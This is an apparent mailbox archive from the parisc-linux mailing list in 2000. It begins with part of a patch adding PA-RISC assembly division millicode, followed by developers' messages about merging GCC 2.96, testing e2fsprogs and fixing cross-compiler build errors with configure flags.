+#if defined (L_divU_6) && !defined (SMALL_LIB)
+#undef L_divU_6
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_6
+$$divU_6:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh2add	%r26,%r26,%r29		;! r29 = lo(101 x r)
+	shd	%r0,%r26,30,%r1		;!  r1 = hi(100 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(101 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh1add	%r29,%r26,%r0		;!  r0 = lo(10 x r) + dividend
+	shd	%r1,%r29,31,%r29	;! r29 = hi(10 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,29,30,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_9) && !defined (SMALL_LIB)
+#undef L_divU_9
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_9
+$$divU_9:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	zdep	%r26,28,29,%r29
+	sub	%r29,%r26,%r29
+	shd	0,%r26,29,%r1
+	subb	%r1,0,%r1		/* 111 */
+
+	zdep	%r29,25,26,%r25
+	add	%r25,%r29,%r25
+	shd	%r1,%r29,26,%r29
+	addc	%r29,%r1,%r29		/* 111000111 */
+
+	sh3add	%r25,%r26,%r1
+	shd	%r29,%r25,29,%r25
+	addc	%r25,0,%r25		/* 111000111001 */
+
+	zdep	%r1,16,17,%r29
+	sub	%r29,%r1,%r29
+	shd	%r25,%r1,17,%r1
+	subb	%r1,%r25,%r1		/* 111000111000111000111000111 */
+
+	sh3add	%r29,%r26,%r0
+	shd	%r1,%r29,29,%r29
+	addc	%r29,0,%r29		/* 111000111000111000111000111001 */
+	bv	%r0(ret)
+	extru	%r29,30,31,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_10) && !defined (SMALL_LIB)
+#undef L_divU_10
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_10
+$$divU_10:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh1add	%r26,%r26,%r29		;! r29 = lo(11 x r)
+	shd	%r0,%r26,31,%r1		;!  r1 = hi(10 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(11 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh2add	%r29,%r26,%r0		;!  r0 = lo(1000 x r) + dividend
+	shd	%r1,%r29,30,%r29	;! r29 = hi(1000 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,28,29,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_12) && !defined (SMALL_LIB)
+#undef L_divU_12
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_12
+$$divU_12:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh2add	%r26,%r26,%r29		;! r29 = lo(101 x r)
+	shd	%r0,%r26,30,%r1		;!  r1 = hi(100 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(101 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh1add	%r29,%r26,%r0		;!  r0 = lo(10 x r) + dividend
+	shd	%r1,%r29,31,%r29	;! r29 = hi(10 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,28,29,result
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_divU_3
+	.text
+	.align	4
+	.export	$$divU_3
+$$divU_3:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		3,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_5
+	.text
+	.align	4
+	.export	$$divU_5
+$$divU_5:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		5,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_6
+	.text
+	.align	4
+	.export	$$divU_6
+$$divU_6:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		6,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_7
+	.text
+	.align	4
+	.export	$$divU_7
+$$divU_7:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		7,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_9
+	.text
+	.align	4
+	.export	$$divU_9
+$$divU_9:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		9,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_10
+	.text
+	.align	4
+	.export	$$divU_10
+$$divU_10:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		10,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_12
+	.text
+	.align	4
+	.export	$$divU_12
+$$divU_12:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		12,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_14
+	.text
+	.align	4
+	.export	$$divU_14
+$$divU_14:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		14,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divU_15
+	.text
+	.align	4
+	.export	$$divU_15
+$$divU_15:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divU
+	ldi		15,%r25
+	.exit
+	.procend
+	.import		$$divU,MILLICODE
+#endif
+
+#ifdef L_divI_3
+	.text
+	.align	4
+	.export	$$divI_3
+$$divI_3:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		3,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_5
+	.text
+	.align	4
+	.export	$$divI_5
+$$divI_5:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		5,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_6
+	.text
+	.align	4
+	.export	$$divI_6
+$$divI_6:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		6,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_7
+	.text
+	.align	4
+	.export	$$divI_7
+$$divI_7:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		7,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_9
+	.text
+	.align	4
+	.export	$$divI_9
+$$divI_9:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		9,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_10
+	.text
+	.align	4
+	.export	$$divI_10
+$$divI_10:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		10,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_12
+	.text
+	.align	4
+	.export	$$divI_12
+$$divI_12:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		12,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_14
+	.text
+	.align	4
+	.export	$$divI_14
+$$divI_14:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		14,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+#ifdef L_divI_15
+	.text
+	.align	4
+	.export	$$divI_15
+$$divI_15:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	b		$$divI
+	ldi		15,%r25
+	.exit
+	.procend
+	.import		$$divI,MILLICODE
+#endif
+
+$$sh_func_adrs:       
+        .proc
+        .callinfo NO_CALLS
+        .export $$sh_func_adrs,MILLICODE
+        ldo     0(%r26),%ret1
+        dep     %r0,30,1,%r26
+        probew  (%r26),%r31,%r22
+        extru,= %r22,31,1,%r22
+        ldws    0(%r26),%ret1
+        bv,n    %r0(%r31)
+        .procend


From - Thu Nov 08 21:12:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC 2.96 merge complete (I hope)
Date: 07 Jul 2000 22:12:48 -0400
Organization: Linuxcare, Inc.
Lines: 15
Approved: news@gmane.org
Message-ID: <87d7kpe5en.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618991 1325 80.91.229.3 (22 Nov 2014 01:16:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Jul  7 20:12:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA13432
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jul 2000 20:12:18 -0600
Original-Received: (qmail 5437 invoked by uid 15267); 8 Jul 2000 02:13:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5425 invoked from network); 8 Jul 2000 02:13:43 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 8 Jul 2000 02:13:43 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Ak6q-0002k2-00
	for <parisc-linux@thepuffingroup.com>; Fri, 07 Jul 2000 22:12:48 -0400
Original-Lines: 14
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7519

Okay, the merge of p.e.h.c's gcc module to current 2.96 is complete,
modulo things that may have slipped through the cracks due to CVS
being stupid.

As mentioned in the previous message, the old stuff is on the
'gcc-2_9-hppa-20000707' branch tag if you care to look at it.

We now also have a 'GNU_DIST' vendor branch which is intended to be
used to track the mainline GCC tree.  So, nice diffs can now be
obtained by running 'cvs rdiff -u -r GNU_DIST -r HEAD gcc'.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] e2fsprogs available
Date: Sun, 9 Jul 2000 14:42:59 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0007091433510.14827-100000@mojo.calyx.net>
References: <20000630194149.EE49F37E33@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618991 1326 80.91.229.3 (22 Nov 2014 01:16:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: bri@mojo.calyx.net  Sun Jul  9 12:41:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA28358
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Jul 2000 12:41:38 -0600
Original-Received: (qmail 13169 invoked by uid 15267); 9 Jul 2000 18:43:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13159 invoked from network); 9 Jul 2000 18:43:03 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 9 Jul 2000 18:43:03 -0000
Original-Received: (qmail 14039 invoked from network); 9 Jul 2000 14:42:59 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (ge0d46mtjof59dt4e4ec@208.132.136.2)
  by mail.calyx.net with SMTP; 9 Jul 2000 14:42:59 -0400
In-Reply-To: <20000630194149.EE49F37E33@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7520


On Fri, 30 Jun 2000, Matt Taggart wrote:
> Using the above I was able to natively partition, mke2fs, mount, create files, 
> execute files, umount, and fsck using the scsi disk in my 712.

Verified to work on a 715/64 with the LASI/SCSI driver.  Except for the
mounting part, as I don't have a mount binary yet...

Also, in case anyone was wondering, the cross-compiler problems
from ALPHA seem to have been fixed.  I've booted an ALPHA-compiled kernel.

I tried compiling a native binutils, but all the binaries cause
a page fault when run, so I must be missing a configure flag or something.
(Why is it that configure --help just never seems to do the trick :(  )
Would it be a problem that I installed glibc in the nfsroot tree and
then ln'd my i386's /usr/local/hppa1.1-linux/lib to there?

GCC won't build a native, complains about a missing nss symbol.

--
Brian S. Julin



From - Thu Nov 08 21:12:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] e2fsprogs available
Date: Sun, 9 Jul 2000 14:06:57 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20000709140657.W1920@vodka.thepuffingroup.com>
References: <20000630194149.EE49F37E33@carmen.fc.hp.com> <Pine.BSO.4.21.0007091433510.14827-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618991 1329 80.91.229.3 (22 Nov 2014 01:16:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:31 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: willy@thepuffingroup.com  Sun Jul  9 13:10:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA28777
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Jul 2000 13:10:51 -0600
Original-Received: (qmail 28969 invoked by uid 15267); 9 Jul 2000 19:12:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28927 invoked from network); 9 Jul 2000 19:12:19 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 9 Jul 2000 19:12:19 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id OAA16237;
	Sun, 9 Jul 2000 14:06:57 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.BSO.4.21.0007091433510.14827-100000@mojo.calyx.net>; from Brian S. Julin on Sun, Jul 09, 2000 at 02:42:59PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7521

On Sun, Jul 09, 2000 at 02:42:59PM -0400, Brian S. Julin wrote:
> Verified to work on a 715/64 with the LASI/SCSI driver.  Except for the
> mounting part, as I don't have a mount binary yet...

you can use -mount, it's a sash builtin.

> Also, in case anyone was wondering, the cross-compiler problems
> from ALPHA seem to have been fixed.  I've booted an ALPHA-compiled kernel.

excellent, that wasn't tested...

> I tried compiling a native binutils, but all the binaries cause
> a page fault when run, so I must be missing a configure flag or something.
> (Why is it that configure --help just never seems to do the trick :(  )
> Would it be a problem that I installed glibc in the nfsroot tree and
> then ln'd my i386's /usr/local/hppa1.1-linux/lib to there?
> 
> GCC won't build a native, complains about a missing nss symbol.

tried --static-nss?

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems with gcc 2.96
Date: Sun, 9 Jul 2000 15:00:24 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20000709150024.A16294@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618992 1330 80.91.229.3 (22 Nov 2014 01:16:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sun Jul  9 14:04:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA29305
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Jul 2000 14:04:17 -0600
Original-Received: (qmail 24246 invoked by uid 15267); 9 Jul 2000 20:05:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24236 invoked from network); 9 Jul 2000 20:05:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 9 Jul 2000 20:05:46 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id PAA16309
	for parisc-linux@thepuffingroup.com; Sun, 9 Jul 2000 15:00:24 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7522


most people will need to run contrib/gcc_update in order to sort out
dependencies.  i did.  but then i get into:

$ rm -rf *
$ ../gcc/configure --target=hppa1.1-linux --prefix=/home/willy/parisc --host=i386-linux --disable-nls
[...]
/home/willy/parisc/gcc-build/gcc/xgcc -B/home/willy/parisc/gcc-build/gcc/ -B/home/willy/parisc/hppa1.1-linux/bin/ -c -g -O2 -I. -I../../../gcc/libio -D_IO_MTSAFE_IO ../../../gcc/libio/iogetline.c
In file included from ../../../gcc/libio/libio.h:166,
                 from ../../../gcc/libio/iolibio.h:1,
                 from ../../../gcc/libio/libioP.h:47,
                 from ../../../gcc/libio/iogetline.c:26:
/home/willy/parisc/hppa1.1-linux/include/bits/stdio-lock.h:29:2: #error libio needs recursive mutexes for _IO_MTSAFE_IO
make[1]: *** [iogetline.o] Error 1

dhd, you must have solved this already?

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with gcc 2.96
Date: 10 Jul 2000 10:00:32 -0400
Organization: Linuxcare, Inc.
Lines: 24
Approved: news@gmane.org
Message-ID: <87snticcfz.fsf@linuxcare.com>
References: <20000709150024.A16294@vodka.thepuffingroup.com> <Pine.LNX.4.21.0007100959080.684-100000@front.linuxcare.com.au> <20000710082844.C16294@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618992 1333 80.91.229.3 (22 Nov 2014 01:16:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Mon Jul 10 08:00:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA04435
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 08:00:22 -0600
Original-Received: (qmail 7791 invoked by uid 15267); 10 Jul 2000 14:01:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7719 invoked from network); 10 Jul 2000 14:01:43 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 14:01:43 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Be6q-0006JV-00; Mon, 10 Jul 2000 10:00:32 -0400
In-Reply-To: willy@thepuffingroup.com's message of "Mon, 10 Jul 2000 08:28:44 -0400"
Original-Lines: 23
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7523

willy@thepuffingroup.com writes:

> On Mon, Jul 10, 2000 at 10:06:06AM +1000, Alan Modra wrote:
> > On Sun, 9 Jul 2000 willy@thepuffingroup.com wrote:
> > 
> > > /home/willy/parisc/hppa1.1-linux/include/bits/stdio-lock.h:29:2: #error libio needs recursive mutexes for _IO_MTSAFE_IO
> > > make[1]: *** [iogetline.o] Error 1
> > > 
> > > dhd, you must have solved this already?
> > 
> > Errm, unless your glibc versions differ.  I did a merge on June 10.  Ducks
> > for cover.
> 
> I spoke to dhd last night and apparently the solution is to
> --disable-multilib for gcc.  i'm just trying it now and it appears to
> get a lot further.  time to update the recipe, i guess.

I've already told willy this, but this is due to the C++ support.
Configure with --enable-languages=c for the time being until it's sorted.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] e2fsprogs available
Date: 10 Jul 2000 09:59:07 -0400
Organization: Linuxcare, Inc.
Lines: 17
Approved: news@gmane.org
Message-ID: <87zonqccic.fsf@linuxcare.com>
References: <Pine.BSO.4.21.0007091433510.14827-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618992 1335 80.91.229.3 (22 Nov 2014 01:16:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:32 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: dhd@linuxcare.com  Mon Jul 10 08:12:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA04769
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 08:12:07 -0600
Original-Received: (qmail 18463 invoked by uid 15267); 10 Jul 2000 14:13:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18452 invoked from network); 10 Jul 2000 14:13:36 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 14:13:36 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Be5T-0006JT-00; Mon, 10 Jul 2000 09:59:07 -0400
In-Reply-To: "Brian S. Julin"'s message of "Sun, 9 Jul 2000 14:42:59 -0400 (EDT)"
Original-Lines: 16
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7524

"Brian S. Julin" <bri@mojo.calyx.net> writes:

> Also, in case anyone was wondering, the cross-compiler problems
> from ALPHA seem to have been fixed.  I've booted an ALPHA-compiled kernel.

Cool.

> GCC won't build a native, complains about a missing nss symbol.

This is well-known glibc lossage.  You need to confiugre glibc with
--enable-static-nss, and then every binary that uses NSS must be
linked with '-lc -lnss_files -lnss_dns -lresolv' (in that order).

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with gcc 2.96
Date: 10 Jul 2000 10:16:41 -0400
Organization: Linuxcare, Inc.
Lines: 14
Approved: news@gmane.org
Message-ID: <87lmzacbp2.fsf@linuxcare.com>
References: <20000709150024.A16294@vodka.thepuffingroup.com> <Pine.LNX.4.21.0007100959080.684-100000@front.linuxcare.com.au> <20000710082844.C16294@vodka.thepuffingroup.com> <87snticcfz.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618992 1339 80.91.229.3 (22 Nov 2014 01:16:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Mon Jul 10 08:16:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA04958
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 08:16:31 -0600
Original-Received: (qmail 22459 invoked by uid 15267); 10 Jul 2000 14:18:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22360 invoked from network); 10 Jul 2000 14:17:55 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 14:17:55 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13BeMU-00071v-00; Mon, 10 Jul 2000 10:16:42 -0400
In-Reply-To: David Huggins-Daines's message of "10 Jul 2000 10:00:32 -0400"
Original-Lines: 13
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7525

David Huggins-Daines <dhd@linuxcare.com> writes:

